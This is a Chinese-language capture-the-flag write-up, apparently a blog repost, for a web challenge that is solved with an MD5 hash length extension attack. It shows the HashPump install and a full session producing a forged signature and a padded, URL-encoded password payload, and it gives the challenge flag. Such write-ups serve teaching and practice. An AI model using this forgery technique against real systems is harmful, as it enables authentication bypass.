[CTF]让我进去

类型:web
网址:http://www.shiyanbar.com/ctf/1848
攻击:hash长度扩展攻击
一句话总结:
哈希长度扩展攻击适用于加密情况为:hash($SECRET, $message)的情况,其中 hash 最常见的就是 md5、hash1。我们可以在不知道$SECRET的情况下推算出另外一个匹配的值。如:
我们知道md5($SECRET . strrev($_COOKIE[“auth”]))的值
我们知道$hsh的值
我们可以算出另外一个 md5 值和另外一个 $hsh 的值,使得 $hsh == md5($SECRET . strrev($_COOKIE[“auth”]))

Writeup:

未知的值:
$secret = “XXXXXXXXXXXXXXX”; // This secret is 15 characters long for security!
$COOKIE[“getmein”] === md5($secret . urldecode($username . $password))
已知的值:
setcookie(“sample-hash”, md5($secret . urldecode(“admin” . “admin”)), time() + (60 * 60 * 24 * 7));

使用hash长度扩展攻击工具hashpump
hashpump安装:
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make && make install

hashpump使用:
./hashpump
Input Signature: 571580b26c65f306376d4f64e53cb5c7
Input Data: admin
Input Key Length: 20
Input Data to Add: abc
7db18a2831cdab27425f299ca09f034e
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00abc
注:
Input Signature = sample-hash值
Input Data = admin
Input Key Length = secret(15)+admin(5) = 20
Input Data to Add = abc(随便写)
7db18a2831cdab27425f299ca09f034e = getmein值
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00abc

admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00abc
是password值

FLAG

CTF{cOOkieS_4nd_hAshIng_G0_w3LL_t0g3ther}

猜你喜欢

转载自blog.csdn.net/alex_bean/article/details/93755495
ctf